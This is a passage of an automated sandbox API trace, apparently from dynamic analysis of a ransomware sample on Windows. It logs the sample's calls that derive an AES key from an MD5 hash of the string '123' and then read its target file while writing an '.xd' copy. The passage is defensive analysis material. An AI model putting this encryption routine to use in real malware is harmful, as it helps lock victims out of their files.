InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0076.322] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0076.322] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0076.322] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0076.322] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0076.322] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0076.322] CloseHandle (hObject=0x0) returned 0 [0076.322] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.323] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0076.323] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0076.323] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.323] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0076.323] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.323] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0076.323] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0076.323] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.323] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0076.324] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.324] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.324] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0076.324] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0076.324] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0076.324] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.324] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.324] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.324] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0076.324] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0076.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0076.325] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0076.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0076.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e290, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0076.325] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0076.325] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0076.326] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.326] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.326] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0076.326] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0076.326] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0076.326] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.326] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.326] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.326] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0076.326] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0076.326] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0076.326] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.326] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.326] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.327] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.327] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0076.327] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.327] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.327] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0076.328] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.328] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0076.328] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0076.328] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.328] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.328] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0076.328] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0076.328] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0076.328] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.328] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.328] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.328] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.328] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0076.328] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0076.328] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0076.328] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0076.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621360, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0076.329] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0076.329] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0076.329] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.329] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.329] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.329] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0076.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0076.329] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0076.330] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0076.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629440, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0076.330] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.330] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.414] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0076.414] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0076.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217c8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0076.415] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0076.415] CryptHashData (hHash=0x164c770, pbData=0x16293c0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0076.415] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.415] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.415] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.415] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.415] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0076.415] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0076.415] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0076.415] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0076.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0076.416] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0076.416] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c770, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c6b0) returned 1 [0076.416] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.416] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.416] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.416] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.416] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.416] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.416] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0076.416] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0076.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0076.417] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0076.417] CryptDestroyHash (hHash=0x164c770) returned 1 [0076.417] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.417] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.417] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.417] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.417] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.417] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ransomware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0076.418] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.418] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0076.418] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.418] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.418] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.418] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0076.418] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ransomware.exe.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0076.419] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.419] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.419] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.422] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0076.422] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0076.425] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0076.426] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0076.428] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0076.429] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0076.431] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0076.432] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0076.433] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0076.434] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0076.436] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0076.437] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0076.439] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0076.440] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0076.442] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, 